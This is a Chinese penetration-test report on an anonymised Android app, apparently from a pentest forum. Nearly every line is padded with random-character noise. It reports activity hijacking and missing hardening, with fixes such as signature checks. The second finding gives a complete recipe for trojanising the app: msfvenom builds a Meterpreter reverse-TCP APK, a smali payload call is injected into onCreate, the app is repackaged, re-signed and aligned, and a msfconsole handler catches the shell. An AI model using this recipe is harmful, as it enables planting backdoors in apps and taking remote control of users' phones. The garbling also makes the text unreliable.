8 H% c( l, x5 N) u! {7 ]& I$ Q, Y' H B7 G   - d: s$ _; Q- @. J! U7 k # l! ` J4 E" A5 Y

, m+ l8 K, S3 p3 r7 J% S 9 q! J4 N8 c D

; Q, i7 }" w+ }+ [ 5 P( Z& x" H6 @/ h; t, \) o9 s6 i 表1-2 测试结果 ; x; a5 r% Q; T' S! J: A, t5 }

' S9 m. z8 v5 P( k& D. d7 L' [5 t) c7 _6 I

3 s2 p! g; S5 G$ \9 O5 v ' I; N4 r$ E9 V% e   2 N2 V2 P+ N# x! k' o2 w9 Z- b2 u8 K

8 X# J+ @: i3 t& M4 o) b/ \ * G% r# J& s" ~( m. M

* U2 X* I4 }" m$ b0 X1 ?- t4 \0 Q . _+ Q! S- ~- t1 b 2 检测结果                    ! p% L7 W# r: o) |7 M4 W! K* M ; P% f$ ]5 ~& B; E

' G- G+ i& A0 b4 l; s5 X; N ) z. e9 g' h$ w8 E* R

: J7 Q: _" ]2 l. F% ]( i G# p9 C6 f6 i# i7 U" n# n 2.1 某某某 7 M" ]* W( q; a& n' }8 {# g ! D6 E2 s% M) t/ l2 A0 U

% H7 s, ?% T0 [+ E" Q' o0 m) h, b! W- [3 A( H/ h, r! w( R

8 @( D8 x# u- B! |7 \ ) n9 T2 z5 }7 t& H 2.1.1检测目标 6 @# D3 k$ ?" O5 W6 Y& y/ [& d# F- C 9 X; Z! W2 k: f# E

$ M2 k! _7 D2 z, w+ i2 N% M4 J

# \4 }$ C- ^1 Z& n( H9 ]! a0 { 1 ^) v3 a% F x# _ O7 n 目标地址: 某某某某某某APP ! c& Q1 x6 k0 |, y# f 1 h/ W6 E$ w7 L: L- @

, g8 D6 ?. y7 V7 u+ S5 A' T ' F* ]. e2 Q: u& M8 B9 [ E

$ j/ l, z/ K& J) X, W' s3 Y: a 1 m* e! J. W; g4 q1 L 2.1.2检测结果 0 U# S& Q7 M M" u 9 z7 j9 S# z+ K: M+ L% i [- X$ j# i

* r. s4 m( L! b& N5 X 9 ^" o3 @( z, I' U

$ y4 r& \+ d3 u' {4 T9 } ' D. b! ~, M! D: p0 ^ 2.1.2.1 7 W" O7 `; m0 V, L0 N0 F; X ' L0 O% T3 E: n: p4 N" t0 E

7 H, ^6 X: r8 Y3 w* s " J1 r4 x7 E5 H8 }$ v

. I2 ?0 I$ C: S& k- A+ Q9 S& K+ a) e1 d& x5 X) p6 T( a 漏洞链接地址:某某某某某某APP * y2 |; ]% {. K& A% O' ] O4 R' t9 E0 N2 s* \

. O8 D/ Q9 ~# ]: w+ T- m) p7 F& o 1 u( L; v- O. ?3 `; Q

8 F& X6 a- v: {9 _% a5 ?8 t' \ ! Y( @, ~! k: k0 s   4 N; x3 `; ~- T, H7 Q( {: |! ?6 x6 O 6 E1 P/ D8 g' x

% N* F# v4 z9 ~! }" @' Y7 k5 l9 T/ Y' z1 }' ~: B8 A

- x3 X8 B2 d; q7 f # v/ }* h: |/ b! q1 K+ H& h9 I0 E( ? 漏洞分析及取证: + j0 [2 o' U: }. `% {, e) _% o1 k( q& q

* C! K1 G# Z# D' k6 k* k" s ) ?! T+ P; [$ {6 F# |, O

- t+ n6 _6 \' x. p8 C5 X/ r" a$ Q$ t8 G7 l% s                  通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: - b7 u) T" ?4 A" m% n5 g # O; C- ]2 Z9 _ r9 \3 j& Z( S

! X; {% J3 E& U1 R) \' c- M" K$ v5 F3 L. Q- m

+ T" D8 b) X2 c" u+ u2 |1 p: p6 Y' P & C3 C. X. r2 A$ t P+ ^/ a      6 K t. e7 \" d3 { , N, \8 R& O" n( y$ r

9 G( D" K# n5 U5 t5 J) p! P% d" E; Z: a" \, N/ ?4 D

' ^7 K# ]" w; ?% u- e, H9 V3 M4 n% q& G0 D + @; M+ V* @; ^" M4 G/ d3 R                       * S' J/ f6 g ^/ |0 ]9 e( [ 8 R' K2 l: c3 d1 i2 r% u( Y

6 c8 U1 l- F t: g" C ! B* v6 e% N g

8 G$ ~& [8 Z9 v " z8 [+ d- |5 D $ u* o+ ?; ^4 ` * L; D; ^6 E0 k. X# `3 i

4 W* L( Y I j' e" Q( O' K4 E4 c3 V- A( _# \ |! C! m q8 F* O

+ a% ^5 I0 K* n& o# b, v4 q8 W + n( H' ~$ p: w/ X( A4 f . U1 q# f3 ~- K3 Z9 O* O - n2 x% z' `9 \; F! r( [0 g

; @$ d. U5 K" {' ?) i( [7 ~0 T: L- e3 c

& D) E; ^6 p+ W) l) C4 E1 K ' v! ^0 I7 b' W W( v , }& Z8 I C4 S* X/ @8 p" S( w% y" ^ 0 s: d" \! x1 s" L |' s

6 X3 q' |% @8 X : P& }* E _) b! S5 ?: B

, B7 O5 X2 U' O. b# }' d% g: G 9 H% H& j# M) { X* ]2 V 漏洞危害:高 , A V! q* }1 `/ `3 K7 ] 3 U, f) W! F7 o1 s5 M3 m( Q ^$ d

# [- {2 L7 ~- L7 {& u( m# U & N+ |6 {" Z" C$ H: L
. Q9 Y! Q0 G" A% w4 [2 ~4 `3 S. x* d0 j6 v8 {3 y5 [. g! o6 } 5 g9 r. x* R* V Z i/ U8 l# }) n! M/ L6 b$ [9 H/ ~3 |8 W0 t& P; ]3 C$ P) y. L3 ~, V1 [- H, ^- J2 d" @5 ~' Z4 ]0 a' ^' ~1 z. B- r. s* L$ E: d( S: M V+ ? _$ |0 N" {5 t6 j1 `# q& F3 r; C6 M2 {- ~, i7 t5 Z% W/ G5 p: e0 u, D8 U$ I9 D3 L! w$ f- Y# G5 p, [) ^% u1 C2 E. L3 _& n5 d0 P8 H* ~+ X8 R0 ]. N% R5 D: W7 K* u& e: B" D( H/ e3 ]; B0 Q% Y5 O) L0 N" F8 v! N, o6 Q' A4 t' P2 g* U. F2 w! y4 N3 }' m" F6 V* @, o# p+ j* g. }9 F9 A! k1 g- S- `$ [, P6 X) I4 e" b* s* i7 r- O2 `- l5 l. S1 ]+ L3 K% ?* R! Q% r* s& a& A3 E6 l# b! \: ]& M8 y. @* u, S9 K0 u7 m6 i$ g! R% ?% I3 S4 D% Y7 g, J. r2 i
6 t- Q& Q$ Q5 x! Y' x2 u; V5 M! A7 N 2 _& m0 y5 Q7 [( c! b

* I7 K {+ S4 `0 M7 l * p D; I9 s# x* y* Q 严重程度 & C( ?8 F Y R J0 r+ D" E" W1 d

- U4 |3 Z' V6 t. \ 9 U- x8 u) ] T
* T8 l4 K+ ^; Y; k: T8 O- q2 M# I- m5 l2 G( H

5 r. R- d/ Z7 R3 C 7 B3 X/ R5 \* G. t0 Y0 {- c$ W 高 ' u* E; Q8 @' t% g $ a1 ^7 Y1 W D% b* q

- \ d6 s0 i& k" l9 @" U 8 x% Y. M: ?/ V0 p# W
) {/ ~) T5 g1 g7 {: b ! r6 o* K" y& z) T0 N

2 {; s! M( L. g6 w* h" ?/ k * N1 e3 m' S8 Q* J z! a( N' o* h ■ 3 I0 N+ o) d! \7 R' ` 4 M# |# T+ i6 l! u. ?4 T

4 u& }! K: c) B, s* ^& B& g3 m $ B1 Z; _6 s% }) N/ i1 C, b6 B
& `% j7 O/ O9 k; m( f* t; ?' f+ @+ |& X% c; w, P

: ~# H4 ^4 a V/ o, K ' u! H: O: `- c' Z# | 中 % v9 _! J# p5 h- d. z' ?7 j# F# N+ `

1 c! D' \/ p5 d % N8 ~3 w2 u8 k
0 z! }+ C: d1 j+ k, c' P2 Z r" h9 B: L: D! f f n- ]9 j9 y3 W

X: C8 s3 v0 p7 r, N/ |1 g; h% S, Q8 [7 M. a   , u7 x0 z5 G5 T2 E m1 A2 C4 u5 G9 w3 s4 l

# S% y7 _; Q& r2 f1 r; a/ ]7 k% j/ u, ~+ Z6 L5 ^5 a
7 ]0 V+ \; H# i, y8 d: S" N $ E! H6 x( x$ D

5 A6 {- b! m) r% {, p1 u6 Y1 u6 E* [" ~$ w 低 ! X: i6 v R+ f6 c4 ] 1 T" J: m) H9 x. N* [

% V Y: H9 b$ f" K9 q# N6 x, s0 p) K
$ i9 d" d* R; s, D( }2 @! { * @4 v# Y* o$ ~* T

D$ |! b+ f- P % H0 Z: }- q5 E( d) U( |, I( H   . ^/ Z6 j+ \0 m; i * l- D# v$ _' t8 s6 ~4 H

# _+ a" D! r( d" ]' J0 O ( u; K) v8 s! x5 O6 C
7 a, C0 p; Z! V7 Z" G _9 F: ], ?+ Z # U7 n; \3 y' F" o# X3 {& G5 |
- L& A# M$ Q* P0 X, j1 |2 E 1 Y; @( h* ^. v& g+ k" t

' h" O) Y p0 Z6 {9 f# a 4 ?+ R1 k! E+ j J' Q U8 `   # G |5 X* F( z8 y; R) j$ h0 `! D ' S8 j( i n2 T& ~5 q9 ?

' b/ w n) ?7 \( ~8 }$ H% f 9 p/ l+ C! T0 S% c4 S

5 D" S4 |- x' N- x- p" ^' z, F! z6 t- m, D 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 . J# T( m4 T1 B- Q2 G$ n! |0 q7 m1 Y

) w* z, `: X1 @; M8 _ , ]- E8 o7 W& B# L$ s! M

# C/ q. `) I+ [ * [! `1 {( [$ `) _- I           3 K6 o* O: G% e; g+ i' ?9 b K# p+ t+ h! C+ @$ y2 @$ Y D( g/ {/ b1 u3 G

" \! ^$ V' o, } : E `* M+ a- x) |( b3 c+ o

* {& @; S2 ^% X2 p# v . \9 y1 K, E0 o" j: h, W0 V   % `0 {3 ^( O% z# t, f, _7 Z' q$ F; x/ u" S( @

. E4 f0 W; B: X6 Q ( _' {. w, X# G% l! y. E; L# K* O6 A

3 S1 L; I5 D; ?4 ^" r8 p : ^, L1 \, I+ U9 t8 V3 Q 2.1.2.2 0 T) @5 g% F7 D : p1 _# f% u7 ~& _9 F

! P4 S7 L2 k4 b Y& Z) {# P 7 Y/ d( g8 L4 v( `7 C

# O- d$ a, h! m% d& F [ ]6 | K- A 漏洞链接地址:某某某某某某APP 7 O* H; p7 y% g! S0 Z) y# }" M9 }" Y0 T2 C2 X6 q- ~

' q* [6 h- i) m$ b1 i* ?6 I& T 4 ~* ]) f- P7 x* J" a

+ G) g- {0 H4 _, T) f! \5 w# P8 a% i& s/ D* c 漏洞分析及取证: ! p3 Z5 f9 c3 q6 K) j & V* s% ]6 A; v9 k4 A9 Q& v" K

( u' y7 d) f/ f. Q3 i6 M7 e: k P3 `8 v) a I

# z+ Q% c' ?9 P; Q+ W$ Q 9 V3 r/ U0 R+ L: w2 P/ P4 Q                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 2 Q- S; b3 S) F3 [" k4 S5 N ) @/ a4 Z# p0 u% h9 s

6 G1 u. T' y# K% V0 U D+ h: T! t& S! _

2 Z/ |- t5 m3 Q% N/ T" W" C( f9 d1 J- E. q% { 用Metasploit 生成木马 apk & a# a+ k( E/ w5 c' [$ ^# n ) t1 `3 D7 {8 T% _. C: I

8 K" d7 I& a1 C3 o+ s* u% c5 n ; ?/ H1 {! y+ a6 \1 {, X# E

8 J& `& O6 C& q' w+ J9 `* c7 k" K 4 k& C% E& k+ x* L" | msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk , L7 p" P7 G" G3 z " ]% P# L6 g% _. c$ h( `

" F; d9 I1 R, r) [- l# Y 3 J. I& f/ w6 N N0 p9 m

. y9 H& W/ e$ [' I7 L! A* v# t8 ]3 w 反编译目标apk和木马apk 4 g6 Y; h) M4 U. T; n; g- V+ Q9 x, p% f

; H* }9 Z1 f$ k8 \ * v! f9 C) q( A0 j4 P

6 l! r0 n. | [& x6 _% K% L2 i+ [6 x& L apktool d target.apk
, K" K+ U( v! ^$ U0 F9 B; d* @6 x0 N- \0 _4 d- r: j' d3 m apktool d cockhorse.apk
1 k1 J: h- b: W 2 M6 ~; x6 z" U, k1 B( V

* `2 _! t; n' \7 S' `5 x% E/ A( V+ R, ~. h

4 X! o6 n4 Z7 ~. j, e0 S 6 W' _* r& k+ f2 U$ L5 ] 木马 apk 注入目标 apk 0 J; G6 g3 G/ M |$ r {3 A' g" g; i, _- D' i

8 w! B: k6 V, z2 k% A5 D. X " H$ a7 i" k- X* j

, O! g; M) B$ }- m) F8 ?. t 2 U' Q$ ?: l" ~" t 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
* q) k$ O) y4 j9 O# L3 ]" l ; Z4 x0 j- W4 T& m5 l9 h invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
/ f! l: j4 b2 r+ A5 l1 v7 l* U& R/ A4 |# Y

6 E3 I& Z2 D, O: I% O$ F3 n6 K / Y h+ P9 s6 _( b5 d# v

: c( n7 l2 m' z/ J4 B6 H- c* ?" u6 O" k. Y 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 / {# g( l, S' {! j/ H : C( c) S9 x2 T: u3 w' z5 K c( Y# @

2 e. }3 e: t! t& j' e& t, ] ; T' r9 C8 H% X5 H

* O; ?" B( }/ M X; ?) c* V& f$ K& N: u7 q3 d3 q* H4 x 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 h; F; K# q9 n 4 g- p* k; e: J( o, b" v# V

1 B v3 g B% n/ p3 v + Q& s0 x x2 l

* ^: i5 S. M7 B% C ' ` v. k+ R/ }0 C/ U 回编译生成最终 apk : q4 V+ Y% Y0 f, V8 c9 y+ j$ `$ ^6 L5 H

{, a; B& R0 c- G. J7 z 0 r" `. @5 s+ \5 g

3 i4 }7 w& D$ S3 f 3 h# `. }9 p6 M/ f$ |/ S 重新打包 - N4 B* F- B b( M( ?, l6 S" O- e; b5 ~" _3 q) Z/ @% v$ C

+ b j6 U6 N% c& I% X- e m9 Z+ X6 B) B% L# U& }9 J

: E: t& z7 o- j5 E 0 T" B. I E2 B* Q9 w apktool b -o repackage.apk target_app_floder ( R+ j" A/ T' ~4 x- s" d! J" D: D- j4 `1 W9 r

# H( ^/ q/ a* r4 F1 c; T6 |8 ?0 U % q$ t; D& v0 }2 A4 e* v

1 I `( s$ H' |( y ) V& r' D0 G9 |0 `# Y' f r 创建签名文件,有的话可忽略此步骤 2 h" S4 G3 e$ B+ O- @( J: Z* a3 S 4 M1 w( v5 @: `: S

; z3 ~& \8 h- F; ` w0 ~4 x. P! Y 8 c; E1 _! |3 q. M; ?' C" l

* G; r# X. ^ S, S( C, T2 |1 U. R # n! {- [' _9 ~1 z( y% S keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                & }. k) m; e5 c & C4 T% F6 l$ V# Z4 i5 x( c% X

7 f: _; ^, `$ N9 S9 U. q 7 L- ~8 n1 q2 I; k) @

" G5 ~6 j* |& j$ [( ^4 j8 ]6 ] # {, ?5 a) z6 j# b 签名,以下任选其一 ! f. G' _2 A' E 4 u( D! {/ t9 C- e8 `" G

% d+ W, ~- k% a/ u( I2 U 9 G, ?! T+ S8 X6 c: B4 O

/ N/ W. D8 L+ c; M1 T @ . U) D8 D0 V6 n _$ p jarsigner 方式 " S% ^* W- g1 u ) R5 D" k) F6 R" v0 w

& l. a- T9 I2 k # w3 b. E* D+ ^! D/ ^1 u

" W/ Z# |1 J0 `2 m _ # j" m# Z$ b8 ^# [: o C: q. z: q jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 4 T5 r4 v! S& W 9 \5 ?+ Q% u: ? V

2 ~& {% T' `& e3 g- k : y) x" P6 _+ m+ j* L6 E3 n4 ^

5 y) b. g+ P& ]1 H3 \9 A6 [. h A' V$ t+ H0 s6 C& Z3 V apksigner 方式 9 N# d- i% x5 }( E, h S& X7 t5 a5 M

' l9 `4 f" G; w9 r) i4 `- Y7 b6 B* y* j2 _# v

8 c7 E4 ]* @4 ~ ( R1 [% \1 S. u apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk - H0 }) g; @: g1 a! o : e0 Q7 o6 T- t& U

( S6 @7 O& n0 \/ w: { p0 Q 6 H$ |8 v' w `

! ^; h9 ^# }! c. x 8 c# ]. _/ M' D% y8 U g 如需要禁用 v2签名 添加选项--v2-signing-enabled false / }6 v @" s7 Q % s5 H; k# _& C$ V* W+ w/ ~8 R

5 w5 |1 Y- i" R& m , K/ G4 _! F7 z# \' C/ X6 ~" a

, G3 f8 ]3 g8 F u; B : g1 M3 |" F! Q: I' {* u# ?- L( N 验证,以下任选其一 8 ~' |, N4 L% x % H8 a; o# o) B. e3 w# ^& t

( W9 L: W/ Q! W1 l7 h 1 X% G6 ]9 q0 S" h: J) w; s& l

/ ], g. `( j; a 8 v- B( R! F! z jarsigner方式 Q# W6 f; [1 K& n& m6 Y - v6 i% u6 I6 W/ E$ a

0 L3 P' s& `5 h& T" U& m7 a . X0 d+ ?- L, A

8 G; K9 L# P! I6 v/ V+ L/ Y* | 8 X6 }' h/ v% _4 m" ]6 C jarsigner -verify repackaged.apk , E. v0 q! Y0 p' l+ ]& \ 7 w- [6 I' I$ s- \" q7 s

$ P! }: z0 Z( A: s' l. V! H% I+ n& `4 l( }% P+ ~

! ^5 M1 _' T% U* X5 d9 q: N ! m: e$ o) P8 R" e apksigner 方式 ( }( \/ K! I5 T& f& l+ J2 R' ]: T, p+ W& G

- q8 N/ E" d. l9 H+ o" m 6 L x; j* @( B! Q0 v2 @" }# R

# A( q; n2 }! z# k2 l / ~3 W4 d! b1 L [' t) ^; B apksigner verify -v --print-certs repackaged.apk : P C: z, L) c' f& s7 B: R6 e _, b5 _

/ N3 ?9 A2 w8 d+ \, D; F & {0 ^, x3 Z' Z5 a* g

/ y: z- c# z5 D3 a $ w/ W7 a" [- j: u! q) k1 R5 h2 a keytool方式 ) V: ~2 {: a" w% F+ `, Z 7 s6 ~4 s& @7 \+ o5 F5 Z( {

4 G3 [; J; f2 Y+ P) {5 b( M ) S6 v/ I n9 s- q

* k: N2 C; A- ]$ ~; ? k % t2 n! e) D3 u keytool -printcert -jarfile repackaged.apk 5 C. m0 w; Z! P( U4 G5 f$ ^' a" `% R2 V; D1 ]

4 @% G' x/ \' h& Y 4 v8 K) E$ \* v6 q! J+ }' a

X+ N& L) f! n8 S+ ^5 q$ m4 a- P - u# J! B6 z# i 对齐 * m8 z- t, F x, [9 ]5 o- Z . t' |2 S: C& m/ Q$ X6 q

) @* m$ B" L" _0 w9 B2 Q* I- S7 x( T% `3 v- X& ?" W7 @

7 \! R$ `! ^4 K' R8 ?+ x7 E b" p' G/ Z7 z! P5 {2 \& k/ q7 s 字节对齐优化 2 X/ t3 ^3 Q. W$ Y, Q4 v 5 y: b. l( B5 r7 V- d; d

8 Y: U" N' t) W2 b7 v5 z; H 7 ?, _# q4 x" ]. u6 j

( `0 O, t9 O$ n ( m) t! {& Q; _" _/ ] u zipalign -v 4 repackaged.apk final.apk & K3 ^# K3 D" r. a6 k. x$ {5 C 8 T, `2 S$ _: N( {8 k0 d/ G4 L6 q

. B; c. B* _8 A' ] q' d # u7 I) t p" `

8 _. X% Q& v: ^/ E( w / U+ b+ Q6 G- i1 z 检查是否对齐 9 O" v& ^( f: E2 o5 f- G1 x- [; M1 C* R8 J! Y7 O/ m7 t

3 R# C* o7 _: z8 [" | " F! g0 T3 R7 l% v; `& [

I6 v7 L4 d9 |" T$ u9 q/ K D$ s+ X- J& A5 O1 P zipalign -c -v 4 final.apk % f, m# }! h: X1 A8 r8 \6 x ! ~$ r$ }- u2 w5 I4 R

& o- p! V/ F n" d % g+ i' R/ P" J& B

' ~, l) H+ v6 N8 F, L7 q7 F1 x( O5 L! c' e0 l$ C/ O 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 ' v, u' R- O# k* t& U1 _! C! f& X6 k% [ " i: l4 H* \, v3 X5 J

+ `: q8 ?/ j7 o+ }7 d* X6 w9 J2 E/ M( N8 \; K) n! x

' g& j3 _0 S, ^, ^( }# | # ^5 S6 V: J F6 v0 I4 v7 Z" @; o 启动Metasploit控制台,配置参数等待上线 ; y* [* O0 V& t* U" R# s * K9 [3 W( {5 d0 W

4 s; F2 j0 [ l1 b# E 5 X0 W7 w! L/ }# e

6 b; y! r7 O" m2 e, }0 v0 t4 V ) W4 m/ a: s8 R! g6 _0 r: H# B 在终端依次输入如下命令 2 R- k# P p: K/ D O5 _ v $ b$ I+ q) I. p# Q0 s. {, n

" @ v$ N* H( L8 \: k $ M9 z' W% C' r' C- u) v

+ j% T- }/ a* m4 @+ B, [ " s. b8 A3 b8 t: ^3 a3 v msfconsole ( M/ o* C3 s ~* p+ g! {$ ` J- e5 l: Y. Y

! R8 e( g% W; |; @4 Y; y0 d" `3 W8 I, J

2 }: Z/ C) c$ ^* o6 d/ F, M% z: x. D4 p use exploit/multi/handler * C, A% z, L& R# f+ u2 r& ]$ A1 L: }" x0 r" S1 Z8 j& @, e

) B+ X! r* C: Z9 D6 s% I( O3 c+ f9 A& S- C+ N6 W9 K

" J$ z- [4 J( g$ j9 S) k: |7 l0 x1 ^& X6 ]- \4 K( C+ } set PAYLOAD android/meterpreter/reverse_tcp 2 z/ _1 X9 I) C8 B; m3 I4 F1 B 4 J, m$ \" }9 C8 A- ]7 i( f1 F

0 d8 c# [/ `: F$ Q4 u 3 ~4 }+ k7 O. h* p8 c

% q2 V3 O. @4 k2 m+ f8 p 2 W6 k) T8 s; k8 ]" q! {2 H5 u set LHOST 192.xxx.xx.xx - X$ ^3 \( ?6 S7 Q/ W3 A: c6 p9 i: \: M6 i; o3 a

) G; g' [& f+ k( y0 B: m* P1 l/ B- Z" D

" [+ A( _7 I5 P) Y' L / Z/ Y# t) K, M; J8 z set LPORT 4444 9 Q6 p: C% Y% S( z. E# ]4 O9 x0 F; `9 L. ^2 Q. n

# q; p2 e/ W( t. R8 Y, o$ ^/ i8 X1 K 7 B" l, Z7 P( A* X% D( R( T" }5 q) c

$ d- R3 T( y: {0 K( v6 p. h# T2 N+ E) G' ]/ N# O0 v$ q exploit + b( \ S5 t1 o7 ~$ H7 U- W K2 O2 ~; {$ c+ p; |# \) Y, G

: E1 _( R2 ~. N6 e9 k' [8 \ " ^* q' t+ y; |6 N

6 e o) R& _0 t8 C+ t( R6 V+ j! ~; ]! @ 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               ) N7 d! j8 p+ M0 P, [7 \! G 8 ], p9 r2 ]9 }$ ?7 Q* z& E

, z# U! X5 Y% f# o 2 {2 D0 [$ V* R0 R+ S1 o

' h3 t8 v. e. G7 J1 l " M6 ^! z/ H, ^4 V6 S# u! l& j9 P3 Y7 f 漏洞危害:中 6 O! c2 A- c: z; j9 ]0 D6 @6 [" C3 o+ T

+ M' J2 Z2 ~5 X + w2 V8 ~0 x9 E" Y/ q
( L" b' |! o$ w2 s/ x ! ~! [6 Q {$ _. y: b 4 A# ]% z4 k& j . O6 b3 S7 L- X7 a5 r " X1 D$ r4 C5 ^4 B7 N, H7 ?" G& C) V6 ^/ T" v0 j0 s1 ~+ p9 l! y b+ ^5 G$ G+ @- ~" [8 b- |3 y7 e) N! T9 j, w% Y* J/ {, J" I1 ^- `3 q: }6 ^! G; s; N; I' ], s, v5 V2 M/ ]. A3 Y" ~' P, o. o! e' @4 H1 u0 @0 d7 a5 _- a0 e% O1 e( ?$ k1 t9 W# {* i# k* Y7 ?) H& Y, S) {) u j" {3 _3 `4 N8 A2 c% E ]& t9 j {5 V, N* T. G. I1 u8 }9 n; y* ?0 t2 y/ m6 d* F: G [& o: F. b) @( K3 Y3 G2 n- h7 Q* `% F* j% z8 O- s& i) y6 ~1 `, k- B7 V0 {7 p# ^ S8 {4 z' M, D2 Q% ?/ r8 D& \8 _8 Q: C; m+ c" ~2 G) {' v( G8 ~2 a# [) q1 }8 J6 F9 Y; J& ^- K1 ~9 S) W! F: A" ?) H+ K% r9 u% I V; i4 R" m& ^" k g4 ^( c2 |+ A* c- D& m7 O7 N* S1 d/ g7 L: I7 p. ~
4 H/ N: k4 |$ ^8 g- J6 ^ / \0 o5 b$ G8 M

3 Y% m9 Z }; V1 p- {+ ` L8 [ / B9 }% l. I2 F/ O+ E! t 严重程度 $ o( [9 p+ I5 n9 O0 _% }! }/ f- S - T7 m" L9 b, n

% z. K, D' C Z ) r; W& W( X+ G7 V$ w
9 X" M- ^: }) T- x% I1 N: N/ B( k) a9 Y, b& O8 @

8 W( ^. }* d* ~- B , D, a( W2 Z9 I, e" p& A- Z. I 高 0 x2 Z* I! k+ F5 H$ x- I0 Z5 g - v/ ] ]/ E6 A8 z( w0 ?; l9 @- ~# M

, @4 o$ G8 K. y) N 6 g! o' {7 T3 l) y
/ N5 y+ K0 X. m' P' V ( b0 u' P" ?' g( R

& e5 f6 h1 x+ v3 J; w- k6 [' W' j2 Q, Y ■ $ B/ b( \& a6 a; e, i6 L 1 S# W- W, ~4 i, s# n

- P' r5 ^3 T2 ?5 u % _2 c' `5 b; V: w
0 l1 L7 S- E) F: {6 U% o1 Q: n/ V + a/ r. I; v% N$ v# r, r

0 C* Y3 ]5 U# ~7 f* o- ~) F7 i* |" b6 O 中 * [2 g4 e; a/ ^ & P A( q) N/ [$ ?3 W

6 g1 P9 A' w8 ? n0 i5 J! G " F1 ?- }; q0 V3 x$ p
! X+ q/ G1 l: A2 i" |' N6 ]1 A2 L4 i * j6 h* Q6 j/ k# u3 l , w4 c8 A1 r# g( s# K1 r/ C* C( G & ? y1 D1 o5 {+ F8 t

$ f% V- R7 m! {4 P8 b! q2 {6 c! m1 u1 [$ c. {   . A1 r; _' B! z7 j5 m1 k; T& i& W , C. H2 d# e8 r( Y5 Z' y

7 i. [. V' j* f) ^2 |( m l# L ! v' k/ T* ~% @! P, o/ J
$ O X! g9 z2 N* a' f) W 8 n/ y2 n" b6 M- L [

6 s5 }9 o+ w8 ]/ h& ~7 }; {! `* y) G! @4 e, s, ? 低 * I0 I6 ?! A: r7 l' g; K! A$ m- U$ m- z5 L

* f& Y9 C; W _- w1 V( W: N * H! ]/ M+ M' X% S4 P
) `9 n* t) i: {, z E 2 U! M" F) G Q* a# q 8 j- m2 Z2 p0 v1 ~ , e, X4 _3 Y2 R' H# M; [9 N$ \( O

: l: T* ]4 y" M" g( Z2 I/ V . ?: v! a% C* S" E; N5 e   5 V! X2 T) C" i2 N( K; P% d 6 O g7 q9 F5 K1 ^6 Q3 o

2 a+ M( o0 d8 k* v! t% h. d! o 7 d# A' P- e6 X: N
% ^& I6 @/ B- |1 U* N 7 X, V* Q3 s6 K4 ~& k/ ]
* x9 Z6 ^7 ]4 Q1 \9 _. d {; v # u$ o; Z% k6 i2 ?& N

- E( Z5 w. `8 I' e 6 _# F+ g& c* L% `   4 h! O& E7 Q9 k6 U+ b+ L * {- D& _( h f' z/ ~- I

. _( u2 u& c8 l% O+ c8 ^ , M' p- W+ F7 z( p& [

- s" W$ j+ b/ d( \8 d. J1 S 3 \* `! c& o% P( ~$ s( L4 k 修复方法: 8 ]8 }$ O- ^* C; {% M# i* n 5 ^3 G% O" j$ h, x

% L& g5 |5 n1 H! U5 F( ^% P. V N5 u; }' v7 u4 S" X7 s! G6 A

4 S; d% k6 C& s9 n9 c# ] 5 `, N: Q) S T1 a               1.在 APP 启动时应做签名校验防止二次打包。
9 V. A8 u6 c u O1 U$ d" r" b; t ' O u9 ^. ~# [, [4 O 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 5 x" K2 s9 D' z8 C 3 J" q. y8 B, Z5 Q

7 u3 Z+ } S5 o ?7 d& z' r, ] # u0 X, `0 Z5 b( x 1 T0 b: V, q" I% i 0 _) m: L4 t) G, y) J! v

2 v2 v$ \/ k$ l. v( `' s + w$ s6 W% y2 Y, k2 i7 F) Y; W4 C   : X2 ^* a* a/ n( H M }. m* P, u1 r: L

4 c+ x. ?; f4 u! A. ` $ \/ }7 ~" T: d+ j - K. T9 X: p0 n" N% Z4 E 9 \8 N4 S& V1 S

. J4 N6 E4 N8 ?& S0 q: n $ `, V; g. I, A
5 C. U+ O s. j3 i; b& W% X. \0 Q 7 q# _2 j& U8 O, E! Z4 _

! `. C E. d+ B4 x7 ~ g2 _3 ?; `; D2 ]+ k





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2